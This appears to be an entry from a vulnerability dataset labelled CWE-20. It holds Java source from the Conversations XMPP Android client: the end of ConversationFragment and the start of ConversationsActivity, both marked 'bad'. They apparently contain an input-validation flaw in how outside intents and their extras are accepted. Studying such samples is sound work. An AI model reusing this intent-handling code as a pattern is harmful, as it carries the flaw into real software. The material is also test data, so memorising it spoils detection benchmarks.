this.binding.textinput.setKeyboardListener(this);
messageListAdapter.updatePreferences();
refresh(false);
this.conversation.messagesLoaded.set(true);
Log.d(Config.LOGTAG, "scrolledToBottomAndNoPending=" + Boolean.toString(scrolledToBottomAndNoPending));
if (hasExtras || scrolledToBottomAndNoPending) {
resetUnreadMessagesCount();
synchronized (this.messageList) {
Log.d(Config.LOGTAG, "jump to first unread message");
final Message first = conversation.getFirstUnreadMessage();
final int bottom = Math.max(0, this.messageList.size() - 1);
final int pos;
final boolean jumpToBottom;
if (first == null) {
pos = bottom;
jumpToBottom = true;
} else {
int i = getIndexOf(first.getUuid(), this.messageList);
pos = i < 0 ? bottom : i;
jumpToBottom = false;
}
setSelection(pos, jumpToBottom);
}
}
this.binding.messagesView.post(this::fireReadEvent);
//TODO if we only do this when this fragment is running on main it won't *bing* in tablet layout which might be unnecessary since we can *see* it
activity.xmppConnectionService.getNotificationService().setOpenConversation(this.conversation);
return true;
}
private void resetUnreadMessagesCount() {
lastMessageUuid = null;
hideUnreadMessagesCount();
}
private void hideUnreadMessagesCount() {
if (this.binding == null) {
return;
}
this.binding.scrollToBottomButton.setEnabled(false);
this.binding.scrollToBottomButton.hide();
this.binding.unreadCountCustomView.setVisibility(View.GONE);
}
private void setSelection(int pos, boolean jumpToBottom) {
ListViewUtils.setSelection(this.binding.messagesView, pos, jumpToBottom);
this.binding.messagesView.post(() -> ListViewUtils.setSelection(this.binding.messagesView, pos, jumpToBottom));
this.binding.messagesView.post(this::fireReadEvent);
}
private boolean scrolledToBottom() {
return this.binding != null && scrolledToBottom(this.binding.messagesView);
}
private void processExtras(Bundle extras) {
final String downloadUuid = extras.getString(ConversationsActivity.EXTRA_DOWNLOAD_UUID);
final String text = extras.getString(Intent.EXTRA_TEXT);
final String nick = extras.getString(ConversationsActivity.EXTRA_NICK);
final boolean asQuote = extras.getBoolean(ConversationsActivity.EXTRA_AS_QUOTE);
final boolean pm = extras.getBoolean(ConversationsActivity.EXTRA_IS_PRIVATE_MESSAGE, false);
final List<Uri> uris = extractUris(extras);
if (uris != null && uris.size() > 0) {
final List<Uri> cleanedUris = cleanUris(new ArrayList<>(uris));
mediaPreviewAdapter.addMediaPreviews(Attachment.of(getActivity(), cleanedUris));
toggleInputMethod();
return;
}
if (nick != null) {
if (pm) {
Jid jid = conversation.getJid();
try {
Jid next = Jid.of(jid.getLocal(), jid.getDomain(), nick);
privateMessageWith(next);
} catch (final IllegalArgumentException ignored) {
//do nothing
}
} else {
final MucOptions mucOptions = conversation.getMucOptions();
if (mucOptions.participating() || conversation.getNextCounterpart() != null) {
highlightInConference(nick);
}
}
} else {
if (text != null && asQuote) {
quoteText(text);
} else {
appendText(text);
}
}
final Message message = downloadUuid == null ? null : conversation.findMessageWithFileAndUuid(downloadUuid);
if (message != null) {
startDownloadable(message);
}
}
private List<Uri> extractUris(Bundle extras) {
final List<Uri> uris = extras.getParcelableArrayList(Intent.EXTRA_STREAM);
if (uris != null) {
return uris;
}
final Uri uri = extras.getParcelable(Intent.EXTRA_STREAM);
if (uri != null) {
return Collections.singletonList(uri);
} else {
return null;
}
}
private List<Uri> cleanUris(List<Uri> uris) {
Iterator<Uri> iterator = uris.iterator();
while(iterator.hasNext()) {
final Uri uri = iterator.next();
if (FileBackend.weOwnFile(getActivity(), uri)) {
iterator.remove();
Toast.makeText(getActivity(), R.string.security_violation_not_attaching_file, Toast.LENGTH_SHORT).show();
}
}
return uris;
}
private boolean showBlockSubmenu(View view) {
final Jid jid = conversation.getJid();
if (jid.getLocal() == null) {
BlockContactDialog.show(activity, conversation);
} else {
PopupMenu popupMenu = new PopupMenu(getActivity(), view);
popupMenu.inflate(R.menu.block);
popupMenu.setOnMenuItemClickListener(menuItem -> {
Blockable blockable;
switch (menuItem.getItemId()) {
case R.id.block_domain:
blockable = conversation.getAccount().getRoster().getContact(Jid.ofDomain(jid.getDomain()));
break;
default:
blockable = conversation;
}
BlockContactDialog.show(activity, blockable);
return true;
});
popupMenu.show();
}
return true;
}
private void updateSnackBar(final Conversation conversation) {
final Account account = conversation.getAccount();
final XmppConnection connection = account.getXmppConnection();
final int mode = conversation.getMode();
final Contact contact = mode == Conversation.MODE_SINGLE ? conversation.getContact() : null;
if (conversation.getStatus() == Conversation.STATUS_ARCHIVED) {
return;
}
if (account.getStatus() == Account.State.DISABLED) {
showSnackbar(R.string.this_account_is_disabled, R.string.enable, this.mEnableAccountListener);
} else if (conversation.isBlocked()) {
showSnackbar(R.string.contact_blocked, R.string.unblock, this.mUnblockClickListener);
} else if (contact != null && !contact.showInRoster() && contact.getOption(Contact.Options.PENDING_SUBSCRIPTION_REQUEST)) {
showSnackbar(R.string.contact_added_you, R.string.add_back, this.mAddBackClickListener, this.mLongPressBlockListener);
} else if (contact != null && contact.getOption(Contact.Options.PENDING_SUBSCRIPTION_REQUEST)) {
showSnackbar(R.string.contact_asks_for_presence_subscription, R.string.allow, this.mAllowPresenceSubscription, this.mLongPressBlockListener);
} else if (mode == Conversation.MODE_MULTI
&& !conversation.getMucOptions().online()
&& account.getStatus() == Account.State.ONLINE) {
switch (conversation.getMucOptions().getError()) {
case NICK_IN_USE:
showSnackbar(R.string.nick_in_use, R.string.edit, clickToMuc);
break;
case NO_RESPONSE:
showSnackbar(R.string.joining_conference, 0, null);
break;
case SERVER_NOT_FOUND:
if (conversation.receivedMessagesCount() > 0) {
showSnackbar(R.string.remote_server_not_found, R.string.try_again, joinMuc);
} else {
showSnackbar(R.string.remote_server_not_found, R.string.leave, leaveMuc);
}
break;
case REMOTE_SERVER_TIMEOUT:
if (conversation.receivedMessagesCount() > 0) {
showSnackbar(R.string.remote_server_timeout, R.string.try_again, joinMuc);
} else {
showSnackbar(R.string.remote_server_timeout, R.string.leave, leaveMuc);
}
break;
case PASSWORD_REQUIRED:
showSnackbar(R.string.conference_requires_password, R.string.enter_password, enterPassword);
break;
case BANNED:
showSnackbar(R.string.conference_banned, R.string.leave, leaveMuc);
break;
case MEMBERS_ONLY:
showSnackbar(R.string.conference_members_only, R.string.leave, leaveMuc);
break;
case RESOURCE_CONSTRAINT:
showSnackbar(R.string.conference_resource_constraint, R.string.try_again, joinMuc);
break;
case KICKED:
showSnackbar(R.string.conference_kicked, R.string.join, joinMuc);
break;
case UNKNOWN:
showSnackbar(R.string.conference_unknown_error, R.string.try_again, joinMuc);
break;
case INVALID_NICK:
showSnackbar(R.string.invalid_muc_nick, R.string.edit, clickToMuc);
case SHUTDOWN:
showSnackbar(R.string.conference_shutdown, R.string.try_again, joinMuc);
break;
case DESTROYED:
showSnackbar(R.string.conference_destroyed, R.string.leave, leaveMuc);
break;
default:
hideSnackbar();
break;
}
} else if (account.hasPendingPgpIntent(conversation)) {
showSnackbar(R.string.openpgp_messages_found, R.string.decrypt, clickToDecryptListener);
} else if (connection != null
&& connection.getFeatures().blocking()
&& conversation.countMessages() != 0
&& !conversation.isBlocked()
&& conversation.isWithStranger()) {
showSnackbar(R.string.received_message_from_stranger, R.string.block, mBlockClickListener);
} else {
hideSnackbar();
}
}
@Override
public void refresh() {
if (this.binding == null) {
Log.d(Config.LOGTAG, "ConversationFragment.refresh() skipped updated because view binding was null");
return;
}
if (this.conversation != null && this.activity != null && this.activity.xmppConnectionService != null) {
if (!activity.xmppConnectionService.isConversationStillOpen(this.conversation)) {
activity.onConversationArchived(this.conversation);
return;
}
}
this.refresh(true);
}
private void refresh(boolean notifyConversationRead) {
synchronized (this.messageList) {
if (this.conversation != null) {
conversation.populateWithMessages(this.messageList);
updateSnackBar(conversation);
updateStatusMessages();
if (conversation.getReceivedMessagesCountSinceUuid(lastMessageUuid) != 0) {
binding.unreadCountCustomView.setVisibility(View.VISIBLE);
binding.unreadCountCustomView.setUnreadCount(conversation.getReceivedMessagesCountSinceUuid(lastMessageUuid));
}
this.messageListAdapter.notifyDataSetChanged();
updateChatMsgHint();
if (notifyConversationRead && activity != null) {
binding.messagesView.post(this::fireReadEvent);
}
updateSendButton();
updateEditablity();
activity.invalidateOptionsMenu();
}
}
}
protected void messageSent() {
mSendingPgpMessage.set(false);
this.binding.textinput.setText("");
if (conversation.setCorrectingMessage(null)) {
this.binding.textinput.append(conversation.getDraftMessage());
conversation.setDraftMessage(null);
}
storeNextMessage();
updateChatMsgHint();
SharedPreferences p = PreferenceManager.getDefaultSharedPreferences(activity);
final boolean prefScrollToBottom = p.getBoolean("scroll_to_bottom", activity.getResources().getBoolean(R.bool.scroll_to_bottom));
if (prefScrollToBottom || scrolledToBottom()) {
new Handler().post(() -> {
int size = messageList.size();
this.binding.messagesView.setSelection(size - 1);
});
}
}
private boolean storeNextMessage() {
return storeNextMessage(this.binding.textinput.getText().toString());
}
private boolean storeNextMessage(String msg) {
final boolean participating = conversation.getMode() == Conversational.MODE_SINGLE || conversation.getMucOptions().participating();
if (this.conversation.getStatus() != Conversation.STATUS_ARCHIVED && participating && this.conversation.setNextMessage(msg)) {
this.activity.xmppConnectionService.updateConversation(this.conversation);
return true;
}
return false;
}
public void doneSendingPgpMessage() {
mSendingPgpMessage.set(false);
}
public long getMaxHttpUploadSize(Conversation conversation) {
final XmppConnection connection = conversation.getAccount().getXmppConnection();
return connection == null ? -1 : connection.getFeatures().getMaxHttpUploadSize();
}
private void updateEditablity() {
boolean canWrite = this.conversation.getMode() == Conversation.MODE_SINGLE || this.conversation.getMucOptions().participating() || this.conversation.getNextCounterpart() != null;
this.binding.textinput.setFocusable(canWrite);
this.binding.textinput.setFocusableInTouchMode(canWrite);
this.binding.textSendButton.setEnabled(canWrite);
this.binding.textinput.setCursorVisible(canWrite);
this.binding.textinput.setEnabled(canWrite);
}
public void updateSendButton() {
boolean hasAttachments = mediaPreviewAdapter != null && mediaPreviewAdapter.hasAttachments();
boolean useSendButtonToIndicateStatus = PreferenceManager.getDefaultSharedPreferences(getActivity()).getBoolean("send_button_status", getResources().getBoolean(R.bool.send_button_status));
final Conversation c = this.conversation;
final Presence.Status status;
final String text = this.binding.textinput == null ? "" : this.binding.textinput.getText().toString();
final SendButtonAction action;
if (hasAttachments) {
action = SendButtonAction.TEXT;
} else {
action = SendButtonTool.getAction(getActivity(), c, text);
}
if (useSendButtonToIndicateStatus && c.getAccount().getStatus() == Account.State.ONLINE) {
if (activity.xmppConnectionService != null && activity.xmppConnectionService.getMessageArchiveService().isCatchingUp(c)) {
status = Presence.Status.OFFLINE;
} else if (c.getMode() == Conversation.MODE_SINGLE) {
status = c.getContact().getShownStatus();
} else {
status = c.getMucOptions().online() ? Presence.Status.ONLINE : Presence.Status.OFFLINE;
}
} else {
status = Presence.Status.OFFLINE;
}
this.binding.textSendButton.setTag(action);
this.binding.textSendButton.setImageResource(SendButtonTool.getSendButtonImageResource(getActivity(), action, status));
}
protected void updateDateSeparators() {
synchronized (this.messageList) {
DateSeparator.addAll(this.messageList);
}
}
protected void updateStatusMessages() {
updateDateSeparators();
synchronized (this.messageList) {
if (showLoadMoreMessages(conversation)) {
this.messageList.add(0, Message.createLoadMoreMessage(conversation));
}
if (conversation.getMode() == Conversation.MODE_SINGLE) {
ChatState state = conversation.getIncomingChatState();
if (state == ChatState.COMPOSING) {
this.messageList.add(Message.createStatusMessage(conversation, getString(R.string.contact_is_typing, conversation.getName())));
} else if (state == ChatState.PAUSED) {
this.messageList.add(Message.createStatusMessage(conversation, getString(R.string.contact_has_stopped_typing, conversation.getName())));
} else {
for (int i = this.messageList.size() - 1; i >= 0; --i) {
final Message message = this.messageList.get(i);
if (message.getType() != Message.TYPE_STATUS) {
if (message.getStatus() == Message.STATUS_RECEIVED) {
return;
} else {
if (message.getStatus() == Message.STATUS_SEND_DISPLAYED) {
this.messageList.add(i + 1,
Message.createStatusMessage(conversation, getString(R.string.contact_has_read_up_to_this_point, conversation.getName())));
return;
}
}
}
}
}
} else {
final MucOptions mucOptions = conversation.getMucOptions();
final List<MucOptions.User> allUsers = mucOptions.getUsers();
final Set<ReadByMarker> addedMarkers = new HashSet<>();
ChatState state = ChatState.COMPOSING;
List<MucOptions.User> users = conversation.getMucOptions().getUsersWithChatState(state, 5);
if (users.size() == 0) {
state = ChatState.PAUSED;
users = conversation.getMucOptions().getUsersWithChatState(state, 5);
}
if (mucOptions.isPrivateAndNonAnonymous()) {
for (int i = this.messageList.size() - 1; i >= 0; --i) {
final Set<ReadByMarker> markersForMessage = messageList.get(i).getReadByMarkers();
final List<MucOptions.User> shownMarkers = new ArrayList<>();
for (ReadByMarker marker : markersForMessage) {
if (!ReadByMarker.contains(marker, addedMarkers)) {
addedMarkers.add(marker); //may be put outside this condition. set should do dedup anyway
MucOptions.User user = mucOptions.findUser(marker);
if (user != null && !users.contains(user)) {
shownMarkers.add(user);
}
}
}
final ReadByMarker markerForSender = ReadByMarker.from(messageList.get(i));
final Message statusMessage;
final int size = shownMarkers.size();
if (size > 1) {
final String body;
if (size <= 4) {
body = getString(R.string.contacts_have_read_up_to_this_point, UIHelper.concatNames(shownMarkers));
} else if (ReadByMarker.allUsersRepresented(allUsers, markersForMessage, markerForSender)) {
body = getString(R.string.everyone_has_read_up_to_this_point);
} else {
body = getString(R.string.contacts_and_n_more_have_read_up_to_this_point, UIHelper.concatNames(shownMarkers, 3), size - 3);
}
statusMessage = Message.createStatusMessage(conversation, body);
statusMessage.setCounterparts(shownMarkers);
} else if (size == 1) {
statusMessage = Message.createStatusMessage(conversation, getString(R.string.contact_has_read_up_to_this_point, UIHelper.getDisplayName(shownMarkers.get(0))));
statusMessage.setCounterpart(shownMarkers.get(0).getFullJid());
statusMessage.setTrueCounterpart(shownMarkers.get(0).getRealJid());
} else {
statusMessage = null;
}
if (statusMessage != null) {
this.messageList.add(i + 1, statusMessage);
}
addedMarkers.add(markerForSender);
if (ReadByMarker.allUsersRepresented(allUsers, addedMarkers)) {
break;
}
}
}
if (users.size() > 0) {
Message statusMessage;
if (users.size() == 1) {
MucOptions.User user = users.get(0);
int id = state == ChatState.COMPOSING ? R.string.contact_is_typing : R.string.contact_has_stopped_typing;
statusMessage = Message.createStatusMessage(conversation, getString(id, UIHelper.getDisplayName(user)));
statusMessage.setTrueCounterpart(user.getRealJid());
statusMessage.setCounterpart(user.getFullJid());
} else {
int id = state == ChatState.COMPOSING ? R.string.contacts_are_typing : R.string.contacts_have_stopped_typing;
statusMessage = Message.createStatusMessage(conversation, getString(id, UIHelper.concatNames(users)));
statusMessage.setCounterparts(users);
}
this.messageList.add(statusMessage);
}
}
}
}
private void stopScrolling() {
long now = SystemClock.uptimeMillis();
MotionEvent cancel = MotionEvent.obtain(now, now, MotionEvent.ACTION_CANCEL, 0, 0, 0);
binding.messagesView.dispatchTouchEvent(cancel);
}
private boolean showLoadMoreMessages(final Conversation c) {
if (activity == null || activity.xmppConnectionService == null) {
return false;
}
final boolean mam = hasMamSupport(c) && !c.getContact().isBlocked();
final MessageArchiveService service = activity.xmppConnectionService.getMessageArchiveService();
return mam && (c.getLastClearHistory().getTimestamp() != 0 || (c.countMessages() == 0 && c.messagesLoaded.get() && c.hasMessagesLeftOnServer() && !service.queryInProgress(c)));
}
private boolean hasMamSupport(final Conversation c) {
if (c.getMode() == Conversation.MODE_SINGLE) {
final XmppConnection connection = c.getAccount().getXmppConnection();
return connection != null && connection.getFeatures().mam();
} else {
return c.getMucOptions().mamSupport();
}
}
protected void showSnackbar(final int message, final int action, final OnClickListener clickListener) {
showSnackbar(message, action, clickListener, null);
}
protected void showSnackbar(final int message, final int action, final OnClickListener clickListener, final View.OnLongClickListener longClickListener) {
this.binding.snackbar.setVisibility(View.VISIBLE);
this.binding.snackbar.setOnClickListener(null);
this.binding.snackbarMessage.setText(message);
this.binding.snackbarMessage.setOnClickListener(null);
this.binding.snackbarAction.setVisibility(clickListener == null ? View.GONE : View.VISIBLE);
if (action != 0) {
this.binding.snackbarAction.setText(action);
}
this.binding.snackbarAction.setOnClickListener(clickListener);
this.binding.snackbarAction.setOnLongClickListener(longClickListener);
}
protected void hideSnackbar() {
this.binding.snackbar.setVisibility(View.GONE);
}
protected void sendMessage(Message message) {
activity.xmppConnectionService.sendMessage(message);
messageSent();
}
protected void sendPgpMessage(final Message message) {
final XmppConnectionService xmppService = activity.xmppConnectionService;
final Contact contact = message.getConversation().getContact();
if (!activity.hasPgp()) {
activity.showInstallPgpDialog();
return;
}
if (conversation.getAccount().getPgpSignature() == null) {
activity.announcePgp(conversation.getAccount(), conversation, null, activity.onOpenPGPKeyPublished);
return;
}
if (!mSendingPgpMessage.compareAndSet(false, true)) {
Log.d(Config.LOGTAG, "sending pgp message already in progress");
}
if (conversation.getMode() == Conversation.MODE_SINGLE) {
if (contact.getPgpKeyId() != 0) {
xmppService.getPgpEngine().hasKey(contact,
new UiCallback<Contact>() {
@Override
public void userInputRequried(PendingIntent pi, Contact contact) {
startPendingIntent(pi, REQUEST_ENCRYPT_MESSAGE);
}
@Override
public void success(Contact contact) {
encryptTextMessage(message);
}
@Override
public void error(int error, Contact contact) {
activity.runOnUiThread(() -> Toast.makeText(activity,
R.string.unable_to_connect_to_keychain,
Toast.LENGTH_SHORT
).show());
mSendingPgpMessage.set(false);
}
});
} else {
showNoPGPKeyDialog(false, (dialog, which) -> {
conversation.setNextEncryption(Message.ENCRYPTION_NONE);
xmppService.updateConversation(conversation);
message.setEncryption(Message.ENCRYPTION_NONE);
xmppService.sendMessage(message);
messageSent();
});
}
} else {
if (conversation.getMucOptions().pgpKeysInUse()) {
if (!conversation.getMucOptions().everybodyHasKeys()) {
Toast warning = Toast
.makeText(getActivity(),
R.string.missing_public_keys,
Toast.LENGTH_LONG);
warning.setGravity(Gravity.CENTER_VERTICAL, 0, 0);
warning.show();
}
encryptTextMessage(message);
} else {
showNoPGPKeyDialog(true, (dialog, which) -> {
conversation.setNextEncryption(Message.ENCRYPTION_NONE);
message.setEncryption(Message.ENCRYPTION_NONE);
xmppService.updateConversation(conversation);
xmppService.sendMessage(message);
messageSent();
});
}
}
}
public void encryptTextMessage(Message message) {
activity.xmppConnectionService.getPgpEngine().encrypt(message,
new UiCallback<Message>() {
@Override
public void userInputRequried(PendingIntent pi, Message message) {
startPendingIntent(pi, REQUEST_SEND_MESSAGE);
}
@Override
public void success(Message message) {
//TODO the following two call can be made before the callback
getActivity().runOnUiThread(() -> messageSent());
}
@Override
public void error(final int error, Message message) {
getActivity().runOnUiThread(() -> {
doneSendingPgpMessage();
Toast.makeText(getActivity(), R.string.unable_to_connect_to_keychain, Toast.LENGTH_SHORT).show();
});
}
});
}
public void showNoPGPKeyDialog(boolean plural, DialogInterface.OnClickListener listener) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setIconAttribute(android.R.attr.alertDialogIcon);
if (plural) {
builder.setTitle(getString(R.string.no_pgp_keys));
builder.setMessage(getText(R.string.contacts_have_no_pgp_keys));
} else {
builder.setTitle(getString(R.string.no_pgp_key));
builder.setMessage(getText(R.string.contact_has_no_pgp_key));
}
builder.setNegativeButton(getString(R.string.cancel), null);
builder.setPositiveButton(getString(R.string.send_unencrypted), listener);
builder.create().show();
}
public void appendText(String text) {
if (text == null) {
return;
}
String previous = this.binding.textinput.getText().toString();
if (UIHelper.isLastLineQuote(previous)) {
text = '\n' + text;
} else if (previous.length() != 0 && !Character.isWhitespace(previous.charAt(previous.length() - 1))) {
text = " " + text;
}
this.binding.textinput.append(text);
}
@Override
public boolean onEnterPressed() {
SharedPreferences p = PreferenceManager.getDefaultSharedPreferences(getActivity());
final boolean enterIsSend = p.getBoolean("enter_is_send", getResources().getBoolean(R.bool.enter_is_send));
if (enterIsSend) {
sendMessage();
return true;
} else {
return false;
}
}
@Override
public void onTypingStarted() {
final XmppConnectionService service = activity == null ? null : activity.xmppConnectionService;
if (service == null) {
return;
}
Account.State status = conversation.getAccount().getStatus();
if (status == Account.State.ONLINE && conversation.setOutgoingChatState(ChatState.COMPOSING)) {
service.sendChatState(conversation);
}
updateSendButton();
}
@Override
public void onTypingStopped() {
final XmppConnectionService service = activity == null ? null : activity.xmppConnectionService;
if (service == null) {
return;
}
Account.State status = conversation.getAccount().getStatus();
if (status == Account.State.ONLINE && conversation.setOutgoingChatState(ChatState.PAUSED)) {
service.sendChatState(conversation);
}
}
@Override
public void onTextDeleted() {
final XmppConnectionService service = activity == null ? null : activity.xmppConnectionService;
if (service == null) {
return;
}
Account.State status = conversation.getAccount().getStatus();
if (status == Account.State.ONLINE && conversation.setOutgoingChatState(Config.DEFAULT_CHATSTATE)) {
service.sendChatState(conversation);
}
if (storeNextMessage()) {
activity.onConversationsListItemUpdated();
}
updateSendButton();
}
@Override
public void onTextChanged() {
if (conversation != null && conversation.getCorrectingMessage() != null) {
updateSendButton();
}
}
@Override
public boolean onTabPressed(boolean repeated) {
if (conversation == null || conversation.getMode() == Conversation.MODE_SINGLE) {
return false;
}
if (repeated) {
completionIndex++;
} else {
lastCompletionLength = 0;
completionIndex = 0;
final String content = this.binding.textinput.getText().toString();
lastCompletionCursor = this.binding.textinput.getSelectionEnd();
int start = lastCompletionCursor > 0 ? content.lastIndexOf(" ", lastCompletionCursor - 1) + 1 : 0;
firstWord = start == 0;
incomplete = content.substring(start, lastCompletionCursor);
}
List<String> completions = new ArrayList<>();
for (MucOptions.User user : conversation.getMucOptions().getUsers()) {
String name = user.getName();
if (name != null && name.startsWith(incomplete)) {
completions.add(name + (firstWord ? ": " : " "));
}
}
Collections.sort(completions);
if (completions.size() > completionIndex) {
String completion = completions.get(completionIndex).substring(incomplete.length());
this.binding.textinput.getEditableText().delete(lastCompletionCursor, lastCompletionCursor + lastCompletionLength);
this.binding.textinput.getEditableText().insert(lastCompletionCursor, completion);
lastCompletionLength = completion.length();
} else {
completionIndex = -1;
this.binding.textinput.getEditableText().delete(lastCompletionCursor, lastCompletionCursor + lastCompletionLength);
lastCompletionLength = 0;
}
return true;
}
private void startPendingIntent(PendingIntent pendingIntent, int requestCode) {
try {
getActivity().startIntentSenderForResult(pendingIntent.getIntentSender(), requestCode, null, 0, 0, 0);
} catch (final SendIntentException ignored) {
}
}
@Override
public void onBackendConnected() {
Log.d(Config.LOGTAG, "ConversationFragment.onBackendConnected()");
String uuid = pendingConversationsUuid.pop();
if (uuid != null) {
if (!findAndReInitByUuidOrArchive(uuid)) {
return;
}
} else {
if (!activity.xmppConnectionService.isConversationStillOpen(conversation)) {
clearPending();
activity.onConversationArchived(conversation);
return;
}
}
ActivityResult activityResult = postponedActivityResult.pop();
if (activityResult != null) {
handleActivityResult(activityResult);
}
clearPending();
}
private boolean findAndReInitByUuidOrArchive(@NonNull final String uuid) {
Conversation conversation = activity.xmppConnectionService.findConversationByUuid(uuid);
if (conversation == null) {
clearPending();
activity.onConversationArchived(null);
return false;
}
reInit(conversation);
ScrollState scrollState = pendingScrollState.pop();
String lastMessageUuid = pendingLastMessageUuid.pop();
List<Attachment> attachments = pendingMediaPreviews.pop();
if (scrollState != null) {
setScrollPosition(scrollState, lastMessageUuid);
}
if (attachments != null && attachments.size() > 0) {
Log.d(Config.LOGTAG, "had attachments on restore");
mediaPreviewAdapter.addMediaPreviews(attachments);
toggleInputMethod();
}
return true;
}
private void clearPending() {
if (postponedActivityResult.clear()) {
Log.e(Config.LOGTAG, "cleared pending intent with unhandled result left");
}
if (pendingScrollState.clear()) {
Log.e(Config.LOGTAG, "cleared scroll state");
}
if (pendingTakePhotoUri.clear()) {
Log.e(Config.LOGTAG, "cleared pending photo uri");
}
}
public Conversation getConversation() {
return conversation;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_0
|
crossvul-java_data_bad_418_1
|
/*
* Copyright (c) 2018, Daniel Gultsch All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors
* may be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package eu.siacs.conversations.ui;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Fragment;
import android.app.FragmentManager;
import android.app.FragmentTransaction;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.databinding.DataBindingUtil;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.support.annotation.IdRes;
import android.support.annotation.NonNull;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AlertDialog;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Toast;
import org.openintents.openpgp.util.OpenPgpApi;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import eu.siacs.conversations.Config;
import eu.siacs.conversations.R;
import eu.siacs.conversations.crypto.OmemoSetting;
import eu.siacs.conversations.databinding.ActivityConversationsBinding;
import eu.siacs.conversations.entities.Account;
import eu.siacs.conversations.entities.Conversation;
import eu.siacs.conversations.services.XmppConnectionService;
import eu.siacs.conversations.ui.interfaces.OnBackendConnected;
import eu.siacs.conversations.ui.interfaces.OnConversationArchived;
import eu.siacs.conversations.ui.interfaces.OnConversationRead;
import eu.siacs.conversations.ui.interfaces.OnConversationSelected;
import eu.siacs.conversations.ui.interfaces.OnConversationsListItemUpdated;
import eu.siacs.conversations.ui.service.EmojiService;
import eu.siacs.conversations.ui.util.ActivityResult;
import eu.siacs.conversations.ui.util.ConversationMenuConfigurator;
import eu.siacs.conversations.ui.util.MenuDoubleTabUtil;
import eu.siacs.conversations.ui.util.PendingItem;
import eu.siacs.conversations.utils.EmojiWrapper;
import eu.siacs.conversations.utils.ExceptionHelper;
import eu.siacs.conversations.utils.XmppUri;
import eu.siacs.conversations.xmpp.OnUpdateBlocklist;
import rocks.xmpp.addr.Jid;
import static eu.siacs.conversations.ui.ConversationFragment.REQUEST_DECRYPT_PGP;
public class ConversationsActivity extends XmppActivity implements OnConversationSelected, OnConversationArchived, OnConversationsListItemUpdated, OnConversationRead, XmppConnectionService.OnAccountUpdate, XmppConnectionService.OnConversationUpdate, XmppConnectionService.OnRosterUpdate, OnUpdateBlocklist, XmppConnectionService.OnShowErrorToast, XmppConnectionService.OnAffiliationChanged, XmppConnectionService.OnRoleChanged {
public static final String ACTION_VIEW_CONVERSATION = "eu.siacs.conversations.action.VIEW";
public static final String EXTRA_CONVERSATION = "conversationUuid";
public static final String EXTRA_DOWNLOAD_UUID = "eu.siacs.conversations.download_uuid";
public static final String EXTRA_AS_QUOTE = "as_quote";
public static final String EXTRA_NICK = "nick";
public static final String EXTRA_IS_PRIVATE_MESSAGE = "pm";
private static List<String> VIEW_AND_SHARE_ACTIONS = Arrays.asList(
ACTION_VIEW_CONVERSATION,
Intent.ACTION_SEND,
Intent.ACTION_SEND_MULTIPLE
);
public static final int REQUEST_OPEN_MESSAGE = 0x9876;
public static final int REQUEST_PLAY_PAUSE = 0x5432;
//secondary fragment (when holding the conversation, must be initialized before refreshing the overview fragment
private static final @IdRes
int[] FRAGMENT_ID_NOTIFICATION_ORDER = {R.id.secondary_fragment, R.id.main_fragment};
private final PendingItem<Intent> pendingViewIntent = new PendingItem<>();
private final PendingItem<ActivityResult> postponedActivityResult = new PendingItem<>();
private ActivityConversationsBinding binding;
private boolean mActivityPaused = true;
private AtomicBoolean mRedirectInProcess = new AtomicBoolean(false);
private static boolean isViewOrShareIntent(Intent i) {
Log.d(Config.LOGTAG, "action: " + (i == null ? null : i.getAction()));
return i != null && VIEW_AND_SHARE_ACTIONS.contains(i.getAction()) && i.hasExtra(EXTRA_CONVERSATION);
}
private static Intent createLauncherIntent(Context context) {
final Intent intent = new Intent(context, ConversationsActivity.class);
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
return intent;
}
@Override
protected void refreshUiReal() {
for (@IdRes int id : FRAGMENT_ID_NOTIFICATION_ORDER) {
refreshFragment(id);
}
}
@Override
void onBackendConnected() {
if (performRedirectIfNecessary(true)) {
return;
}
xmppConnectionService.getNotificationService().setIsInForeground(true);
Intent intent = pendingViewIntent.pop();
if (intent != null) {
if (processViewIntent(intent)) {
if (binding.secondaryFragment != null) {
notifyFragmentOfBackendConnected(R.id.main_fragment);
}
invalidateActionBarTitle();
return;
}
}
for (@IdRes int id : FRAGMENT_ID_NOTIFICATION_ORDER) {
notifyFragmentOfBackendConnected(id);
}
ActivityResult activityResult = postponedActivityResult.pop();
if (activityResult != null) {
handleActivityResult(activityResult);
}
invalidateActionBarTitle();
